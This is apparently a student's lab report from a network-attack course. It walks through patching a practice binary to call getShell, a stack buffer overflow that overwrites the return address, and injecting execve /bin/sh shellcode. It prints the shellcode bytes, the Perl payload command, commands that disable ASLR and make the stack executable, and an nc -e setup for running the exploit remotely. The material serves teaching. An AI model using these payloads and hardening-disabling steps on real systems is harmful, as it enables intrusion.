Scroll to top

2019-2020-2 20175234 赵诗玥 《网络对抗技术》 Exp1 PC平台逆向破解

一、实验介绍

实验目标

  • 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。

  • 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。

  • 注入一个自己制作的shellcode并运行这段shellcode。

基础知识

  • 1、NOP, JNE, JE, JMP, CMP汇编指令的机器码
    • NOP指令【机器码0x90】,即指令即空指令,运行该指令时单片机什么都不做,但是会占用一个指令的时间
    • JNE【机器码0x75】
    • JMP,无条件转移指令。段内直接短转移Jmp short【机器码0xE8】,段内直接近转移Jmp near【0xE9】, 段内间接转移Jmp word【机器码0xFF】,段间直接(远)转移Jmp far【机器码0xEA】
    • CMP【机器码0x38】
  • 2、常用Linux指令
    • 管道(|):用于进程间的通信(也可通过socket进行网络通信),它表现出来的形式将前面每一个进程的输出(stdout)直接作为下一个进程的输入(stdin)
    • 重定向:>输出重定向到一个文件或设备,覆盖原来的文件,>>输出重定向到一个文件或设备,追加原来的文件,<输入重定向到一个程序 ,>!输出重定向到一个文件或设备,强制覆盖原来的文件
    • 反汇编指令(objdump)

二、实验过程

任务一:直接修改程序机器指令,调用getShell函数

  • 新建一个包含学号的文件夹,将可执行文件pwn1移动进去

  • 将可执行文件反汇编,用more指令以分页形式查看文档

  • 观察上图,函数call指令中调用的是地址为8048491的子程序,想要调用getShell则只需修改机器call指令后的数值

  • 在vi实现操作

    • 用vi打开可执行文件,将ASCII码使用:%!xxd转换为16进制方便阅读

    • 查找字符串e8 d7

    • 将修改d7为c3

    • :%!xxd -r转换16进制为原格式

    • 保存退出

  • 验证操作结果

    • 反汇编查看文件
    • 执行文件

任务二:BOF攻击,改变程序执行流程

  • 确定哪几个字符会覆盖到返回地址

    • 程序分析

      有汇编代码可得,有28个字节用于存储读入的数据,而eip和ebp的数据各占4个字节,因而第33-36字节数据会覆盖原eip中内容
    • gbd测试确定

      由图可验证第33-36字节数据会覆盖原eip中内容
  • 确认用什么值来覆盖返回地址
    反汇编时,我们可以看到getShell的内存地址是0804847d,我们由先前的gdb调试知道机器为小端法。我们应该输入11111111222222223333333344444444\x7d\x84\x04\x08

  • 构造输入字符串
    由为没法通过键盘输入\x7d\x84\x04\x08这样的16进制值,所以使用Perl编写要输入的指令,然后使用输出重定向>将perl生成的字符串存储到文件input中。
    将input的输入,通过管道符“|”,作为pwn1的输入(\x0a表示回车)

任务三:注入Shellcode并执行

  • 准备一段Shellcode

Shellcode起初是为了获取一个交互式的shell,在实际的应用中,凡是用来注入的机器指令段都通称为shellcode

直接用老师提供的\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\

  • 准备工作

    • apt-get install execstack //安装execstack
    • execstack -s pwn1 //设置堆栈可执行
    • execstack -q pwn1 //查询文件的堆栈是否可执行,显示X pwn1则表示可执行
    • echo "0" > /proc/sys/kernel/randomize_va_space ////关闭地址随机化
    • more /proc/sys/kernel/randomize_va_space //查看随机化是否关闭,如显示0则已关闭,2未关闭
  • 构造要注入的payload

payload指实现攻击的代码,Linux下有两种基本构造攻击buf的方法:

retaddr+nop+shellcode
nop+shellcode+retaddr。
因为retaddr在缓冲区的位置是固定的,shellcode要不在它前面,要不在它后面。
简单说缓冲区小就把shellcode放后边,缓冲区大就把shellcode放前边

nop一为是了填充,二是作为“着陆区/滑行区”。
我们猜的返回地址只要落在任何一个nop上,自然会滑到我们的shellcode。

本次实验采用nops+shellcode+retaddr,使用
perl -e 'print "A" x 32;print "\x01\x02\x03\x04\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
使输出重定向>将perl生成的字符串存储到文件input_shellcode中

  • 终端注入并调试

    • (cat input_shellcode;cat) | ./pwn1注入程序
    • 打开终端2,ps -ef | grep pwn1 查看进程号
    • 启用gdb调试,attach+进程号,我的是1731
    • 反编译disassemble foo,查看ret地址,ret完就跳到我们覆盖的那个地方了
    • 设置断点break *0x080484ae
    • 在终端1输入回车
    • 调试终端2输入c继续运行程序
    • info r esp查看esp寄存器地址
    • x/16x +esp寄存器地址就很容易看到我们设置的01020304,Shellcode跟在就在后面,我们可以直接对esp寄存器地址+0x4

  • 修改注入代码buf,再次注入测试

  • 结合nc实现远程攻击

    • 复制一台副本Kali

    • 查主机A(假定主机A的网络服务有漏洞)、主机B的ip
      通过ip address指令查到,主机A:192.168.26.128;主机B:192.168.26.140

    • 关闭A机防火墙

    • A机终端nc -l B机ip -p 28234 -e ./pwn1打开监听

    • B机终端(cat input_shellcode; cat) | nc A机ip 28234注入攻击buf

三、实验收获

实验体会

本次实验的一、二、三在老师的实验指导书下很快完成了基本任务,但是却有很多细节需要注意。在做实验一时,我改完机器指令就保存退出了,未将其转化为源码,导致报错文件无法识别(后来只好又做了一边)。在尝试做实验3.5 nc远程攻击时遇到了很多问题,首先是ip设置问题,主机A作为被攻击机应该监听的是主机B的ip,其次主机A应该关闭防火墙再者主机B的Shellcode应该及时更新(我在做完实验三的基本任务后关闭了计算机,结果再报错“段错误”),就是要从头做一遍(一定要注意堆栈是否可执行地址是否关闭随机化)确定Shellcode的地址。简直是太惨了…还是说,理论是基础,操作有点难,加油噻!

问题回答

什么是漏洞?漏洞有什么危害?

答:漏洞是软、硬件或者是协议本身存在的问题,使得攻击者可以通过这些问题非法访问或者篡改数据。攻击者将漏洞加以应用就可以在对计算机进行非法访问、篡改数据,可能破坏信息的保密性、完整性、可用性等性质,损害计算机所有者的利益。

四、参考资料

posted @ 2020-03-09 16:35  September_starlet  阅读(227)  评论(0编辑  收藏  举报
动态线条
动态线条end